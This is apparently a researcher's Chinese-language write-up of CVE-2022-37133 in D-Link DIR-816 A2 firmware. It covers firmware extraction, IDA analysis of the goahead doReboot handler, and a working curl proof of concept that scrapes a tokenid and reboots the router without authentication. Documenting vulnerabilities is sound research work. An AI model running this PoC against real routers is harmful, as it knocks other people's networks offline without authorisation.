D-Link CVE-2022-37133
- Manufacturer's address:https://www.dlink.com/
- Firmware download address : http://tsd.dlink.com.tw/GPL.asp
- Affected version:DIR-816 A2_v1.10CNB04
前言
此漏洞为笔者在分析D-Link DIR-816 A2_v1.10CNB04时所发现的,非常适合拿来入门学习路由器漏洞。这个文章笔者只写此漏洞的分析和利用(如有错误 欢迎指正),这个固件还有其他的一些漏洞(命令注入,堆栈溢出)
漏洞文件提取
从官网将固件下载下来
将固件下载下来之后需要提取里面的文件系统,笔者采用的是在线提取,链接:https://zhiwanyuzhou.com/multiple_analyse/firmware/
选择文件上传,将固件上传等待上传进度
分析完成之后点击解包所有文件下载即可将文件系统下载
然后用tar解包就可以看到如下东西
22:00:25 z1r0@z1r0deMacBook-Pro.local squashfs-root ls -l
total 0
drwxr-xr-x@ 63 z1r0 staff 2016 3 7 2017 bin
drwxr-xr-x@ 3 z1r0 staff 96 3 7 2017 dev
drwxr-xr-x@ 3 z1r0 staff 96 3 7 2017 etc
drwxr-xr-x@ 15 z1r0 staff 480 3 7 2017 etc_ro
drwxr-xr-x@ 3 z1r0 staff 96 3 2 2017 home
lrwxr-xr-x@ 1 z1r0 staff 11 3 7 2017 init -> bin/busybox
drwxr-xr-x@ 44 z1r0 staff 1408 3 7 2017 lib
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 media
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 mnt
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 proc
drwxr-xr-x@ 71 z1r0 staff 2272 3 7 2017 sbin
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 sys
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 tmp
drwxr-xr-x@ 5 z1r0 staff 160 3 2 2017 usr
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 var
逆向分析漏洞点
漏洞出现在goahead中,goahead
自身实现了一个 web
服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。
22:02:14 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead
./bin/goahead
将goahead丢入ida,对doReboot这个功能进行分析,在ida中搜索sleep 3 && reboot &
然后跟进第三个即可。
websWrite是回显函数,可以看到最后会无条件执行system("sleep 3 && reboot &");
漏洞利用
查看doReboot的交叉引用可知在formDefineUtilities
这个函数中被引用了,而formDefineUtilities
被main函数引用了
当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/doReboot
则使用websFormHandler
先进行理,再到doReboot用户自定义的的函数中进行处理。websFormHandler
的函数处理如下
int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t *query)
其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp
这个参数就能获取到用户请求的信息。
在主页登陆抓一个包可以看到是POST /goform/formLogin
请求
POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1
username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915
想要触发doReboot,可以模仿抓包的内容,最后的tokenid是必不可少的,可以使用curl http://192.168.0.1/dir_login.asp | grep tokenid
来获取tokenid
所以触发doReboot可以使用如下poc,xxxx为获取到的tokenid
curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx
稍等3秒就可以看到路由器重启
小结
此漏洞可做路由器漏洞入门学习,笔者使用的实体路由器(不知道这个固件进行模拟的时候需不需要patch一些东西),笔者有时间会继续写所发现此路由器的其他cve漏洞利用